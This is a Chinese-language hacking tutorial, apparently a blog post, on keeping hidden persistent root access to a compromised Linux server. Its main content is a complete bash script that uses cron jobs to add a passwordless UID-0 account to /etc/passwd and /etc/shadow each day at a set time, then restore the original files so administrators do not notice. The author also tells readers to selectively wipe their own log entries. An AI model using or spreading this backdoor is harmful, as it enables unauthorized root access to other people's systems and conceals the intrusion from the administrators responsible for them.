Linux系統後門技術（隱藏帳戶篇）

linux

系統後門技術（隱藏帳戶篇）

每當我們歡天喜地的得到乙個linux系統的伺服器肉雞時，最大的願望就是能把它永遠留住。當然，永遠留住是不可能的，但是我們要盡量的不讓它飛走。這就要用到linux的後門技術了，這是項複雜的技術，本人水平有限不可能面面俱到，我只希望這一系列文章能為大家提供一點思路，在您hacking的道路上開啟一扇方便之門！

言歸正傳，首先，給大家簡單介紹一下linux的系統後門。linux後門的種類甚至比windows下的還要多，畢竟是gnu作業系統，後門製作的空間也會很大。常見的一些後門技術有隱藏s位shell指令碼檔案、增加root組使用者、記錄破解使用者密碼、替換系統網路服務、可裝載核心模組、rootkit工具包等等，這些技術一直被黑客們不斷的組合翻新利用著，如果大家想深入的學習一下linux後門，推薦大家到這個**去看看，那裡有比較新的後門技術和工具，並且很多任務具都有源**。

好了，書說簡短，下面讓我們具體的看一下如何來製作安裝和使用各種後門，今天是隱藏帳戶的新增和駐留，高手應該可以跳過不看了。現在，假設我們得到了乙個linux肉雞的shell，並且已經獲得了root的許可權，從最簡單的開始，通常的我們應當去新增個超級使用者。

如圖1

（圖1）

如圖2

（圖2）

/etc/passwd和/etc/shadow是linux中存放使用者和密碼資訊的兩個檔案，使用者和密碼分開存放也是出於安全的考慮。編輯完成後，系統中就多了乙個musicyxy使用者，它的許可權只比root少一點點，密碼為空，這樣下次我們進入這台主機的時候就可以使用musicyxy這個使用者了。有很多linux的初學者會這樣問：「為什麼修改了這兩個檔案就多了個使用者？而且還會有root組的許可權？我平時是用useradd命令新增使用者的啊!」現在我就來給大家說明一下原理。

思路是這樣的，利用crontab

（計畫任務）

在固定的時間做如下操作：首先我們把正常的passwd和shadow檔案備份到別的地方，然後在原目錄偽造這兩個檔案讓它們生效，最後將musicyxy:x:0:0::/:/bin/sh和musicyxy::13407:0:99999:7:::兩條資訊追加到偽造的passwd和shadow檔案中，然後在過一段時間後將原來的正常檔案還原回/etc/目錄。這樣我們就可以在偽造檔案生效的時間段內登陸系統，在不登陸的時候，偽造檔案也會自動還原為正常檔案，這樣不容易被管理員發現，並且在一定程度上避免了正常使用者資訊的損壞。舉個例子：我們可以把正常的檔案放在/tmp/目錄中，然後利用計畫任務讓系統在每天的下午2-3點把偽造的後門檔案放到/etc/目錄中，然後我們就在下午2-3點hack進肉雞中操作，3點過後後門會自動清除，正常的檔案會回到/etc目錄中，除非管理員在2-3點時檢視/etc/passwd，否則很難發現後門，當然，別忘了在每次您登陸肉雞後要記得把日誌有選擇性的清除掉！也就是說把自己的日誌清除，保留其他使用者的日誌，關於這部分技術我會在以後的文章中告訴大家。

我把這個使用者後門寫成了

shell

程式，**如下：

#!/bin/bash

echo '40 11 * * * cat /etc/passwd > /dev/ttypwd' >> /etc/door.cron;

echo '40 11 * * * cat /etc/shadow > /dev/ttysdw' >> /etc/door.cron;

echo '41 11 * * * echo "musicyxy:x:0:0::/:/bin/sh" >> /etc/passwd' >> /etc/door.cron;

echo '41 11 * * * echo "musicyxy::9999:0:99999:7:::" >> /etc/shadow' >> /etc/door.cron;

echo '09 12 * * * cat /dev/ttypwd > /etc/passwd' >> /etc/door.cron;

echo '09 12 * * * cat /dev/ttysdw > /etc/shadow' >> /etc/door.cron;

echo '10 12 * * * rm -f /dev/ttypwd' >> /etc/door.cron;

echo '10 12 * * * rm -f /dev/ttysdw' >> /etc/door.cron;

service crond restart;

crontab /etc/door.cron;

以上就是乙個具體的後門帳戶實現，我來給大家解釋一下這段**。

第一行是linux中shell程式的開頭標誌，代表**中所使用的shell。第二行是將「40 11 * * * cat /etc/passwd > /dev/ttypwd」這段資訊追加到/etc/door.cron檔案中。/etc/door.cron是使用者自定義的crontab列表檔案，任務計畫就是依據這個檔案的內容來執行的。它的編寫格式是* * * * * command ,前面的5個星分別代表分鐘（0~59），小時（0~23），日期（1~31），月份（1~12），星期（0~6），星後面加要執行的命令。那麼第二行所代表的意思就是在每天的11點40分執行cat /etc/passwd > /dev/ttypwd，後面的相信您也能看懂了，以此類推，執行到最後一行就是利用crontab命令讓檔案生效。

我們來看一下它的執行效果：

11點39分的時候/etc/passwd檔案正常，沒有後門帳戶，如圖3.

（圖3）

11點42分，後門帳戶出現！多了乙個root組使用者資訊musicyxy:x:0:0::/:/bin/sh!如圖4！

（圖4）

11點45分，我利用後門帳戶登入成功，who am i命令顯示是root使用者，許可權很大，如圖5。

（圖5）

12點10分,後門帳戶自動**，和11點39分之前一樣，沒有什麼異常，但等到明天的11點40後門帳戶又會出現！如圖6

（圖6）

這個程式我在fc6和thiz7.0下做過測試都沒問題，但是其他發行版可能需要作相應的更改，而且系統中一定要安裝了crond服務才能正常執行。到此，隱藏後門帳戶駐留成功!我的文章也要結束了，這篇文章非常的基礎，介紹了一些linux使用者密碼的知識，以及crontab命令的使用方式，完全都是shell級別的操作，適合新手學習，並且希望能給高手帶來一點思路！以後我會為大家介紹更加隱蔽、更難清除、更高層次的後門，希望大家關注！今天就到這裡了，bye!

Linux系統後門技術（隱藏帳戶篇）

滲透技巧 Windows系統的帳戶隱藏

滲透技巧 Windows系統的帳戶隱藏

Linux系統木馬後門查殺方法詳解

Linux系統後門技術（隱藏帳戶篇）

滲透技巧 Windows系統的帳戶隱藏

滲透技巧 Windows系統的帳戶隱藏

Linux系統木馬後門查殺方法詳解

相關推薦